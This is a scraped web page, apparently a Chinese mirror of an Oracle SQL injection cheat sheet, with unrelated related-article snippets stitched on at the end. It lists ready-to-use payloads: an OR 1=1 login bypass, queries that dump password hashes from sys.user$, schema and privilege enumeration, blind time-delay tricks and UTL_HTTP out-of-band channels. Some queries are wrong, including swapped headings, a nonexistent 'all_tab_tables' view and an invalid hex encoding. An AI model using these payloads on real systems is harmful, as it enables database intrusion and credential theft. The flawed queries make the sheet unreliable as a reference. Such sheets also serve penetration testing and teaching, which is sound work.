SQL Injection 字典 - Oracle

Oracle

Default Databases

SYSTEM Available in all versions
SYSAUX Available in all versions

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

-- SQL comment

Example:

      • SELECT * FROM Users WHERE username = ‘‘ OR 1=1 --‘ AND password = ‘‘;

Testing Version

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%‘;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%‘;
SELECT version FROM v$instance;

Notes:

  • All SELECT statements in Oracle must contain a table.
  • dual is a dummy table which can be used for testing.

Database Credentials

SELECT username FROM all_users; Available on all versions
SELECT name, password from sys.user$; Privileged, <= 10g
SELECT name, spare4 from sys.user$; Privileged, <= 11g

Database Names

Current Database

SELECT name FROM v$database;
SELECT instance_name FROM v$instance
SELECT global_name FROM global_name
SELECT SYS.DATABASE_NAME FROM DUAL

User Databases

SELECT DISTINCT owner FROM all_tables;

Server Hostname

SELECT host_name FROM v$instance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_name(‘10.0.0.1‘) FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual;

Tables and Columns

Retrieving Tables

SELECT table_name FROM all_tables;

Retrieving Columns

SELECT column_name FROM all_tab_columns;

Find Tables from Column Name

SELECT column_name FROM all_tab_columns WHERE table_name = ‘Users‘;

Find Columns From Table Name

SELECT table_name FROM all_tab_tables WHERE column_name = ‘password‘;

Retrieving Multiple Tables at once

SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ‘,‘)).EXTRACT(‘//text()‘).EXTRACT(‘//text()‘) ,‘,‘) FROM all_tables;

Avoiding the use of quotations

Unlike other RDBMS, Oracle allows table/column names to be encoded.

SELECT 0x09120911091 FROM dual; Hex Encoding.
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual; CHR() Function.

String Concatenation

SELECT ‘a‘||‘d‘||‘mi‘||‘n‘ FROM dual;

Conditional Statements

SELECT CASE WHEN 1=1 THEN ‘true‘ ELSE ‘false‘ END FROM dual

Timing

Time Delay

SELECT UTL_INADDR.get_host_address(‘non-existant-domain.com‘) FROM dual;

Heavy Time Delays

AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

Privileges

SELECT privilege FROM session_privs;
SELECT grantee, granted_role FROM dba_role_privs; (Privileged)

Out Of Band Channeling

DNS Requests

SELECT UTL_HTTP.REQUEST(‘http://localhost‘) FROM dual;
SELECT UTL_INADDR.get_host_address(‘localhost.com‘) FROM dual;

Password Cracking

A Metasploit module for JTR can be found here.

SQL Injection 字典 - Oracle

时间: 2024-10-10 02:23:55

SQL Injection 字典 - Oracle的相关文章

SQL Injection 字典 - MSSQL

MSSQL Default Databases pubs Not available on MSSQL 2005 model Available in all versions msdb Available in all versions tempdb Available in all versions northwind Available in all versions information_schema Availalble from MSSQL 2000 and higher Comm

Sql Injection 资料整理

注入类型 Boolean-based blind SQL injection(布尔型注入) Error-based SQL injection(报错型注入) UNION query SQL injection(可联合查询注入) Stacked queries SQL injection(可多语句查询注入) Time-based blind SQL injection(基于时间延迟注入) 数据库类型 -A:Access - M:MySQL- S:SQL Server- P:PostgreSQL-

MySQL SQL Injection Cheat Sheet

MySQL SQL Injection Cheat Sheet Some useful syntax reminders for SQL Injection into MySQL databases- This post is part of a series of SQL Injection Cheat Sheets.  In this series, I've endevoured to tabulate the data to make it easier to read and to u

SQL Server和Oracle数据库索引介绍

SQL Server和Oracle数据库索引介绍 1 SQL Server中的索引 索引是与表或视图关联的磁盘上结构,可以加快从表或视图中检索行的速度.索引包含由表或视图中的一列或多列生成的键.这些键存储在一个结构(B 树)中,使 SQL Server 可以快速有效地查找与键值关联的行. 表或视图可以包含以下类型的索引: 聚集索引 聚集索引根据数据行的键值在表或视图中排序和存储这些数据行.索引定义中包含聚集索引列.每个表只能有一个聚集索引,因为数据行本身只能按一个顺序排序. 只有当表包含聚集索引

用sql语句导出oracle中的存储过程和函数

用sql语句导出oracle中的存储过程和函数: SET echo off ; SET heading off ; SET feedback off ; SPOOL 'C:/PRC.SQL' replace SELECT CASE WHEN LINE = 1 THEN 'CREATE OR REPLACE ' || TEXT WHEN LINE = MAX_LINE THEN TEXT || CHR(10 ) || '/' ELSE TEXT END FROM USER_SOURCE A LEF

sql优化(oracle)- 第一部分 知识准备

第一部分 知识准备                                               1.  sql执行过程                     2.  sql 共享                   3.  绑定变量                      4.  数据表访问方式 5.  sql 执行顺序 6.  索引使用 1. sql执行过程1)执行过程 当一个oracle实例接收到一条sql后,执行过程如下: 1) create  a cursor  创建

如何用PL/SQL Developer连接Oracle数据库

之前因为项目的原因需要使用Oracle数据库,由于时间有限没办法从基础开始学习,而且oracle操作的命令界面又太不友好,于是就找到了PL/SQL Developer这个很好用的软件来间接使用数据库. 下面简单介绍一下如何用这个软件连接Oracle数据库. 第一步 安装Oracle Database和PL/SQL Developer 这一步网上有很多的教程就不详细介绍.Oracle可以直接到官网去下载,在安装中注意几个问题就行: 1.一定要记住自己全局数据库名字和口令,这个在后面连接的时候很重要

PL/SQL跑在Oracle 64位数据库上初始化错误

安装完Oracle(64位).PL/SQL后运行PL/SQL出现如下的错误: 网上查资料说,我的PL/SQL与ORACLE不兼容,即PL/SQL不支持64位的ORACLE,因此得下一个32位的ORCALE客户端并配置相应的参数: 解决步骤小记: 一.下载ORACLE 32位客户端 下载地址:http://www.onlinedown.net/soft/102902.htm(Oracle 10g客户端精简绿色版) 二.解压到ORACLE 安装目录下一个叫product的目录下,并重命名一下(命名不

使用sqlmap注入DVWA的SQL Injection菜单

1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用admin/password登陆系统,通过firebug工具获取cookie信息. 得到的cookie信息如下: security=low; path=/dvwa/; domain=192.168.0.112 PHPSESSID=0bec860709d15f590768b7713c69b52f; pa